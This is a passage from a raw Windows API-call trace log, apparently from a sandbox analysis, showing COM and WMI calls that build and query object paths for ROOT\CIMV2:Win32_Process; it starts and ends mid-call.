[1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0142.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0142.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce7320) returned 0x0 [0142.432] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7320, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.432] WbemDefPath:IUnknown:Release (This=0x1bce7320) returned 0x3 [0142.432] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0142.432] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0142.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0142.432] WbemDefPath:IUnknown:Release (This=0x1bcd9e20) returned 0x2 [0142.432] WbemDefPath:IUnknown:Release (This=0x1bcd9e20) returned 0x1 [0142.432] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0142.432] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0142.432] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9e20, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9e20) returned 0x0 [0142.432] WbemDefPath:IUnknown:AddRef (This=0x1bcd9e20) returned 0x3 [0142.432] WbemDefPath:IUnknown:Release (This=0x1bcd9e20) returned 0x2 [0142.432] WbemDefPath:IWbemPath:SetText (This=0x1bcd9e20, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0142.432] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9d60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9e20, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9e20, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9e20, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0142.433] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd9d60) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9e20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9e20, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9e20, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0142.433] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd9d60, uIndex=0x0, pszName="ROOT") returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9e20, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9e20, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0142.433] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd9d60, uIndex=0x1, pszName="CIMV2") returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bcd9d60, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0142.433] WbemDefPath:IWbemPath:SetClassName (This=0x1bcd9d60, Name="Win32_Process") returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9d60, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9d60, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9d60, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9d60, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9d60, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9d60, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9d60, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9d60, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0142.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0142.434] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0142.434] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9d60, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0142.434] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9d60, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0142.434] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0142.434] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0142.434] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0142.434] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.436] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bce7580) returned 0x0 [0142.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7580, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0142.436] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7580, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bcd9ee0) returned 0x0 [0142.436] WbemDefPath:IUnknown:Release (This=0x1bce7580) returned 0x0 [0142.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bcd9ee0) returned 0x0 [0142.436] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0142.437] WbemDefPath:IUnknown:AddRef (This=0x1bcd9ee0) returned 0x3 [0142.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0142.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0142.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bce75c0) returned 0x0 [0142.437] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce75c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.437] WbemDefPath:IUnknown:Release (This=0x1bce75c0) returned 0x3 [0142.437] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0142.437] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0142.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0142.437] WbemDefPath:IUnknown:Release (This=0x1bcd9ee0) returned 0x2 [0142.437] WbemDefPath:IUnknown:Release (This=0x1bcd9ee0) returned 0x1 [0142.437] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0142.437] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0142.437] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9ee0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bcd9ee0) returned 0x0 [0142.437] WbemDefPath:IUnknown:AddRef (This=0x1bcd9ee0) returned 0x3 [0142.437] WbemDefPath:IUnknown:Release (This=0x1bcd9ee0) returned 0x2 [0142.437] WbemDefPath:IWbemPath:SetText (This=0x1bcd9ee0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0142.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0142.438] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0142.438] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.438] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0142.438] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0142.438] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0142.438] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.440] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce7600) returned 0x0 [0142.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7600, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0142.440] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7600, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd9fa0) returned 0x0 [0142.440] WbemDefPath:IUnknown:Release (This=0x1bce7600) returned 0x0 [0142.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd9fa0) returned 0x0 [0142.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0142.440] WbemDefPath:IUnknown:AddRef (This=0x1bcd9fa0) returned 0x3 [0142.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0142.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0142.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce7640) returned 0x0 [0142.440] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.440] WbemDefPath:IUnknown:Release (This=0x1bce7640) returned 0x3 [0142.441] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0142.441] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0142.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0142.441] WbemDefPath:IUnknown:Release (This=0x1bcd9fa0) returned 0x2 [0142.441] WbemDefPath:IUnknown:Release (This=0x1bcd9fa0) returned 0x1 [0142.441] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0142.441] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0142.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd9fa0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd9fa0) returned 0x0 [0142.441] WbemDefPath:IUnknown:AddRef (This=0x1bcd9fa0) returned 0x3 [0142.441] WbemDefPath:IUnknown:Release (This=0x1bcd9fa0) returned 0x2 [0142.441] WbemDefPath:IWbemPath:SetText (This=0x1bcd9fa0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9ee0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9fa0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9fa0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9fa0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0142.441] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd9ee0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9fa0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9fa0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9fa0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0142.441] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd9ee0, uIndex=0x0, pszName="root") returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9fa0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd9fa0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0142.441] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd9ee0, uIndex=0x1, pszName="cimv2") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd9fa0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd9fa0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd9ee0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd9ee0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd9ee0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9b20, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9b20, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd9ee0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9ee0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9ee0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9ee0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd9ee0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0142.443] IWbemServices:GetObject (in: This=0x1bce9370, 